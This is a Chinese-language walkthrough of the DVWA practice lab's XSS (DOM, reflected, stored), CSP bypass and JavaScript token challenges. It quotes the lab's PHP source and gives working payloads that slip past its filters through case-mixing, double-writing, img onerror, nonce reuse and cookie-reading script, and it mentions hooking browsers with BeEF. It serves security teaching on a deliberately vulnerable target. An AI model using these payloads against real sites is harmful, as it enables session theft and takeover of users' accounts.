我们还可以使用kali的beef
可以先通过这个链接了解http://t.csdn.cn/XNaIt
在kali的root下,输入beef-xss
找到hook,把hook的改成kali的IP,复制到dvwa的url上
我们就可以做很多事了
Medium
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
过滤了<script>标签,当函数匹配到 <script 字符串的时候就会将URL后面的参数修正为 ?default=English
我们就不能直接写入JS脚本了
在这里可以通过onerror事件,在装载文档或图像的过程中如果发生了错误就会触发
构造payload(这里的标签 </option></select> 是根据页面源码写的)English</option></select><img src=x onerror=alert(1)>
High
<
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the alLowable languages
//白名单,只允许French、English、German、Spanish
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
这里设置了白名单,如果default的值不为”French”、”English”、”German”、”Spanish”的话就重置URL为:?default=English ,这里只是对 default 的变量进行了过滤。
我们可以考虑在English后面使用&或者#
构造payload:English&<script>alert(1)</script>English#<script>alert(1)</script>
Impossible
我们输入的参数全部无效了,无法实现XSS。
XSS(Reflected) 反射型XSS
XSS攻击需要具备两个条件:
需要向web页面注入恶意代码;
这些恶意代码能够被浏览器成功的执行
反射型XSS,顾名思义在于“反射”这个一来一回的过程。反射型XSS的触发有后端的参与,而之所以触发XSS是因为后端解析用户在前端输入的带有XSS性质的脚本或者脚本的data URI编码,后端解析用户输入处理后返回给前端,由浏览器解析这段XSS脚本,触发XSS漏洞。因此如果要避免反射性XSS,则必须需要后端的协调,在后端解析前端的数据时首先做相关的字串检测和转义处理;同时前端同样也许针对用户的数据做excape转义,保证数据源的可靠性
Low
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
// arrary_key_exists()函数:判断$_GET的值中是否存在“name”键名。并且$_GET[‘name’]的值是否不为空,满足这些条件,直接输出下面的输出语句。
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
服务器只是判断了 name 参数是否为空,如果不为空的话就直接打印出来。服务器并没有对 name 参数做任何的过滤和检查。
直接使用 <script>alert(1)</script> 进行尝试
Medium
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
//将输入中的<script>转化为空
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
会检查 name 参数中是否有 “< script >”,如果有则替换为空,也就是说过滤掉了<script>这个标签。还有在这里使用了str_replace函数,它是区分大小写的,因此可以使用大小写绕过。<sCript>alert(1)</ScRipt>
说到大小写肯定就还会想到我们的双写<sc<script>ript>alert(/xss/)</script>
High
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
//使用通配符,完全匹配script*N,所以有关script的标签全被过滤
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
preg_replace() 函数执行一个正则表达式的搜索和替换,“*” 代表一个或多个任意字符,“i” 代表不区分大小写。也就是说 “< script >” 标签在这里被完全过滤了,但是我们可以通过其他的标签例如 img、body 等标签的事件或者iframe 等标签的 src 注入 JS 攻击脚本。<img src = 1 onerror = alert(1)>
Impossible
网上的一段解释
htmlspecialchars() 函数用于把预定义的字符 “<” 和 “>” 转换为 HTML 实体,防止了我们注入 HTML 标签。例如我们注入 “”,htmlspecialchars 函数会将 < 和 > 转换成 html 实体而不是当做标签,所以我们插入的语句并不会被执行。同时加入 Anti-CSRF token 防护 CSRF 攻击,进一步提高安全性。
XSS(Stored) 存储型XSS
存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
Low
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
// trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
// stripslashes(string)
函数删除字符串中的反斜杠。
$message = stripslashes( $message );
// mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
(1)**trim()函数
格式trim(string,charlist)
(2)stripslashes()**函数stripslashes(string)
string 必需,规定要检查的字符串。
用于删除反斜杠,可用于清理从数据库中或者从 HTML 表单中取回的数据。
(1)这里对XSS方面没有做过滤与检查,而且数据将被存储到数据库中,因此存在存储型XSS
(2)本来是想在name处试一下代码: 的,发现有长度限制(考虑了下是不是可以使用BP抓包改name呢,这样是否就绕过了长度限制?),因此直接在message一栏使用我们的代码尝试:
查看数据库,可以发现我们发送的内容已经存到数据库里了
PS:往下做的时候记得清一下数据库。
Medium
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
// strip_tags() 函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签
// addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
(1)Message处使用了htmlspecialchars()函数,将字符全部转为了HTML实体,因此Message处无法使用XSS形成攻击。
(2)name处做了长度限制,因此考虑使用抓包在BP中修改name的值,还有就是他会将 <script> 转化为空,所有考虑使用双写或者大小写去绕过。大小写绕过:<scRIPt>alert(1)</SCript>双写绕过:<scr<script>ipt>alert(1)</script>
抓包,放包,成功
High
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
(1)Message处相比Medium难度没有做太多的变化,因此不在考虑这里。
(2)Nmae处对 <script> 做了限制,各种形式的 <script> 都不行了,考虑使用其他的标签,比如img<img src=1 onerror=alert(1)>
还是一样直接抓包修改name。
Impossible
对Name和Message都使用了htmlspecialchars()函数做了过滤,还加了token值,进一步提高了安全性。
CSP Bypass(内容安全策略)
内容安全策略(CSP)使服务器管理员可以通过指定浏览器应认为是可执行脚本的有效源的域来减少或消除XSS可能发生的向量。然后,兼容CSP的浏览器将仅执行从这些允许列出的域接收的源文件中加载的脚本,忽略所有其他脚本(包括内联脚本和事件处理HTML属性)。
除了限制可以从中加载内容的域之外,服务器还可以指定允许使用哪些协议; 例如(理想情况下,从安全角度来看),服务器可以指定必须使用HTTPS加载所有内容。完整的数据传输安全策略不仅包括强制HTTPS进行数据传输,还包括使用安全标记标记所有cookie,并提供从HTTP页面到其HTTPS对应项的自动重定向。站点还可以使用Strict-Transport-SecurityHTTP标头来确保浏览器仅通过加密通道连接到它们。
两种方法可以启用 CSP。
一种是通过 HTTP 头信息的Content-Security-Policy的字段。
一种是通过网页的标签
详细学习地址:http://t.csdn.cn/F4CYg
Low
先来查看源代码,可以发现CSP后有一个地址,我们点击访问
这个网页可以生成js文件然后映射到一个url上 把这个网址放在dvwa包含,成功显示内容
Medium
http头信息中的script-src的合法来源发生了变化,说明如下 unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。 nonce-source,仅允许特定的内联脚本块,nonce=“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA” 现在更加简单了,可以直接输入以下代码<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(666)</script>
High
可以发现这个难度没有输入框了,上面提示我们修改该页面以运行我们自己的代码。
进入源代码
找到它的high.js脚本看到点击按钮调用函数,然后在函数中新增一行代码alert(document.cookie);
JavaScript(JS攻击)
Low
查看源码 发现token由前台生成 并且通过md5进行加密
str_rot13() 函数对字符串执行 ROT13 编码。
ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。
可以看到只要token等于md5加密success全体移动13个字母后的字母,就能通过。
success对应后结果为结果fhpprff,进行md5加密,然后抓包修改token即可
Medium
将phrase逆序输出,然后在前后分别添加XX作为规律,所以当我们输入success的时候,对应的token应该就是XXsuccessXX。
所以,在输入框输入 “success” 之后,在控制台中,输入do_elsesomething(“XX”) 就可以了。
High
完全看不懂 而 *http://deobfuscatejavascript.com *中提供的功能是,把混淆后的代码转成人类能看懂一些 js 代码
转换后找到生成token的部分
这里生成 token 的步骤是:
1、执行token_part_1(“ABCD”, 44)
2、执行token_part_2(“XX”)(原本是延迟 300ms执行的那个)
3、点击按钮的时候执行 token_part_3
所以我们在输入框输入 success 后,再到控制台中输入token_part_1(“ABCD”, 44)和token_part_2(“XX”)这两个函数就可以了。
